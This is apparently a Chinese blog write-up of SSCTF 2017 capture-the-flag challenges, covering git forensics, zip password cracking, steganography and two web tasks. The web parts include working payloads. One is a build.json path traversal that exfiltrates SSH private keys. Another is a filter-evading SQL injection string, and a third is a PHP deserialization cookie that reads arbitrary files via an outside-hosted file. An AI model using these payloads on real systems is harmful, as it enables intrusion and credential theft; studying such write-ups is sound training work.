zzm

SSCTF2017 writeup
签到题base64+凯撒+栅栏加密flag在哪里题目给了一个pcapng包,用wireshark分析,发现是和gi...
扫描右侧二维码阅读全文
08
2017/05

SSCTF2017 writeup

签到题

base64+凯撒+栅栏加密

flag在哪里

题目给了一个pcapng包,用wireshark分析,发现是和git有关的请求(虽然实际上不叫git,而是另外一个名字,忘了...),然后到题目网站看,git文件都可以下载。
于是在本地也建了一个git项目,然后先把网站的git目录index文件下载下来,copy到我自己的目录,运行命令

git ls-files --stage

可以看网站的文件目录结构以及对应的hash,然后从里面发现了两个可疑文件flag.txt和pass.php,于是把这两个文件对应的数据文件copy下来了,然后运行命令

git cat-file -p 950338

查看flag.txt内容

SSCTF{give you flag,can you accept?"}

这个交了发现是假的,然后pass.php里面有个串wodegea,还不知道有什么用。
之后联想到git的版本控制功能,于是尝试查看每次提交的改动。在logs/HEAD里面可以看到每次commit对应的hash:

0000000000000000000000000000000000000000 cd7bee8ad1b5807b7136fd8fb0c9ae853204c1fc zhang tie <zt@163.com> 1493198973 -0400 commit (initial): pass????

cd7bee8ad1b5807b7136fd8fb0c9ae853204c1fc eac8d383f192730a605bb5d3115aa4bbba8a99ea zhang tie <zt@163.com> 1493199151 -0400 commit: pass??
eac8d383f192730a605bb5d3115aa4bbba8a99ea 9ab1451776fb32e82c2524fc4f37fa3f33ceae2f zhang tie <zt@163.com> 1493199966 -0400 commit: password?
9ab1451776fb32e82c2524fc4f37fa3f33ceae2f 473e9cce7391e913ffcf10b96ba6e4c0b950fe8e zhang tie <zt@163.com> 1493201128 -0400 commit: test pass
473e9cce7391e913ffcf10b96ba6e4c0b950fe8e 8894bb4d45643d52b5eb8175710999fcd398ebd4 zhang tie <zt@163.com> 1493201292 -0400 commit: 666666666
8894bb4d45643d52b5eb8175710999fcd398ebd4 6a0bbb4f6ce6d101c0cf5abac4b04ff004b1a918 zhang tie <zt@163.com> 1493201414 -0400 commit: this is flag

所以可以在本地用命令

git show commit_hash ssctf

查看文件的改动。这样翻了一下,发现了真的flag.txt(但是加密了)

image.png

和一个有加密函数的pass.php

<?php
$encrypt = base64_encode(wtf('flag_password', 'ssctf'));
function wtf($data,$pwd) {
    $cipher ="";
    $key[] ="";
    $box[] ="";
    $pwd_length = strlen($pwd);
    $data_length = strlen($data);
    for ($i = 0; $i < 256; $i++) {
        $key[$i] = ord($pwd[$i % $pwd_length]);
        $box[$i] = $i;
    }
    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $key[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for ($a = $j = $i = 0; $i < $data_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $k = $box[(($box[$a] + $box[$j]) % 256)];
        $cipher .= chr(ord($data[$i]) ^ $k);
    }
    return $cipher;
}
?>

看了一下是rc4加密,然后网上找了个地方对flag.txt中的密文解密,就得到了最后的flag

互相伤害

题目给了个压缩包,里面有个文件,打开看了下感觉是流量包,于是加了后缀pcapng,用wireshark看,发现里面都是请求图片。

把这些图片扒了下来,发现里面有个图片有个二维码,还写着aes和CTF,扫了一下是个aes的密文。本来以为是要解密后面说的那个压缩包才能拿到密钥,结果发现CTF其实就是密钥,解密后得到一个串
4356f2b426ad8355c99e9388a3189c89.jpg

然后另一张写着互相伤害的图可以解压出一个压缩包,不过加密了,用上面的串解密就行了

a1d63bb3ed1f9df89b72375f1ed79e5d.jpg

这个二维码中心有个小的二维码,扫了一下就得到了flag。

我们的秘密是绿色的

题目给了个压缩包,里面有张图片,binwalk了一下没结果,感觉图片有隐写,于是各种google
在搜“ctf 我们的秘密”的时候,发现陕西之前有个比赛的题目名字就叫我们的秘密,看了一下用了一个叫oursecret的工具解密的,于是下载下来试试,不过要输密码,题目提示是green,然后发现给的图片里的日历有的数字是绿色的,试了一下果然解开了,得到一个压缩包。

image.png

压缩包有密码,注释提示coffee的生日,生日也就8位,爆破一下就出来了。

19950822

解压出来又是一个压缩包(=。=)和一个readme.txt,看了一下这个txt的crc码和压缩包里的readme.txt是一样的,想到了已知明文攻击,跑了几分钟就出来了。
最后的压缩包什么提示都没有,感觉可能是伪加密,binwalk -e一下,就得到了flag.txt

qddpqwnpcplen%prqwn_{_zz *d@gq}

感觉跟签到有点像,凯撒+栅栏解密一下就出来最后的flag了

WebHook:

基本上代码审计题,主办方也一直在修复,修了好多其他漏洞?

addrepo可以加仓库和git地址(secret_key试了下就是ssctf)

根据代码加个仓库

http://webhook.ssctf.seclover.com:8000/addrepo?repo=fuckssctf&key=e6b4c612b636d5f4cf3d44e23ffd0b7d&url=https://github.com/sicalpath/fuckssctf.git&pass=fuck

向/push POST时可以触发build,会checkout 上边提交的地址 https://github.com/sicalpath/fuckssctf.git,然后根据build.json里的内容生成压缩包

POST /push HTTP/1.1
Host: webhook.ssctf.seclover.com:8000
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: 
Connection: close
Content-Length: 166

{"repository":{"name":"fuckssctf"},"ref":"refs/heads/master","url":"https://github.com/sicalpath/fuckssctf","before":"https://github.com/sicalpath/shadowbroker.git"}

然后用fuckssctf fuck 登陆一下

http://webhook.ssctf.seclover.com:8000/log 可以看到build的记录

2017-05-07 06:55:46 INFO building fuckssctf:master
2017-05-07 06:55:48 INFO fuckssctf clone ok
2017-05-07 06:55:50 INFO fuckssctf:master checkout ok
2017-05-07 06:55:51 INFO fuckssctf:master pull ok
2017-05-07 06:55:52 CRITICAL fuckssctf:master build error
2017-05-07 06:59:26 INFO building fuckssctf:master
2017-05-07 06:59:28 INFO fuckssctf:master checkout ok
2017-05-07 06:59:30 INFO fuckssctf:master pull ok
2017-05-07 06:59:31 CRITICAL fuckssctf:master build error
2017-05-07 07:03:42 INFO building fuckssctf:master
2017-05-07 07:03:45 INFO fuckssctf:master checkout ok
2017-05-07 07:03:46 INFO fuckssctf:master pull ok
2017-05-07 07:03:48 CRITICAL fuckssctf:master build error
2017-05-07 07:05:31 INFO building fuckssctf:master
2017-05-07 07:05:34 INFO fuckssctf:master checkout ok
2017-05-07 07:05:36 INFO fuckssctf:master pull ok
2017-05-07 07:05:38 INFO fuckssctf:master build ok
2017-05-07 07:18:58 INFO building fuckssctf:master
2017-05-07 07:19:02 INFO fuckssctf:master checkout ok
2017-05-07 07:19:04 INFO fuckssctf:master pull ok
2017-05-07 07:19:06 CRITICAL fuckssctf:master build error

主要有用漏洞的在build里

            args = ['zip', '-r',
                    os.path.join(outpath, str(int(time.time())) + '.zip')]
            if os.path.isfile(os.path.join(basedir, 'build.json')):
                b = json.loads(
                    open(os.path.join(basedir, 'build.json')).read())
                for x in b.get('include', [basedir]):
                    args.append(x)

                for x in b.get('exclude', []):
                    args.append("-x")
                    args.append(x)
                p = subprocess.Popen(args, cwd=basedir)

我把我的git仓库里的build.json写成

{"include":["../."]}

这样可以把上级目录打包,log里看有的目录build会error

虽然error了但是也生成了文件zi74MVxj

    ziavJH5H
    zi74MVxj
    1494156424.zip
    1494156331.zip
    1494155136.zip

下载下来自己加上.zip用winrar自带工具的修复一下依然可以读文件,在config里读到了git地址是git@git.coding.net:ljgame/flag.git

[core]

repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true

[remote "origin"]

url = git@git.coding.net:ljgame/flag.git
fetch = +refs/heads/*:refs/remotes/origin/*

[branch "master"]

remote = origin
merge = refs/heads/master

然后再改下build.json

{"include":["../../../home/."]}

打包发现了ssh的密钥

id_rsa id_rsa.pub

用这个密钥在本机clone一下就行了,得到flag.txt

CloverSec Logos

首页有个登录框,然后是一堆图片,扫了一下目录,发现

.index.php.swp ssctf_flag.php

官方给了提示有备份文件,于是又下载下来了个"index.php.swp",看了下必须要登录才能有后面的操作,于是先想办法登录。
小伙伴跑了半天弱口令没结果,于是看看能不能注入。试了下登录框没办法,然后发现首页的几个图片的链接是xxx?id=1,试了一下id=1%2b1都不行,感觉这个id应该是当字符串处理了,于是试了下单引号和双引号,发现id=1"%2b"1会返回id=2的结果,可以注入,接着测试空格,or、and和mid什么的都被过滤了,最后成功绕过的payload:

id="%2b((select%2bascii(substr(passwoorrd,1,1))%2b0.from(user)where(username="admin"))>0)%2b"

写了个python脚本跑了一下,得到了password

14aceb3fc5992cef3d97

20位,而md5是32位,google了一下,发现是dedecms的加密方式,也就是md5后去掉前5位和后7位,解密只需要去掉前3位和后1位,然后md5_16解密即可。解密后是admin^g,登录进去后,再看index.php.swp可以看到另外的一些源码信息,关键在这段:

<?php
if(isset($_GET['action'])&&$_GET['action']=='imformation')
{
    if(isset($_COOKIE['token']))
    {
        $secret=$_GET['secret'];    
        $token =$_COOKIE['token'];
        if(isset($secret)&&(file_get_contents($secret,'r')==="1234"))
        {
            echo "hello Hacker!<br>";    
            include("include.php");
            echo ssctf_unserialize($token);
        }
        else
        {    
            echo "You are not Hacker ! ";    
        }
    }
    else{
        setcookie("token",'');
        echo '<h2 style="text-align:center;">Welcome</h2>';
        echo '<div><h4>User imformation</h4><ul>';
        echo '<li>Username : '.$imformation['username'].'</li>';
    }
}

首先要secret满足条件,在服务器上建一个内容为1234的txt就行了,然后token这里反序列化,应该有问题,结合之前发现的.index.php.swp,这个文件最后有一句

setcookie("token",'O:+4:"Read":1:{s:4:"file";s:58:"php://filter/read=convert.base64-encode/resource=index.php";}'); 

把index.php改成别的,然后改一下长度就能读任意文件了
直接读上面找到的ssctf_flag.php,然后解码就行了

GET /index.php?action=imformation&secret=http://118.193.238.4/tool/1234.txt HTTP/1.1
Host: 60.191.205.80
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=0gumnfk79q6aktr4jd958btiq0;token=O%3A%2b4%3A%22Read%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A63%3A%22php%3A%2f%2ffilter%2fread%3Dconvert.base64-encode%2fresource%3Dssctf_flag.php%22%3B%7D
Connection: close
Upgrade-Insecure-Requests: 1
Last modification:August 24th, 2018 at 11:04 pm

Leave a Comment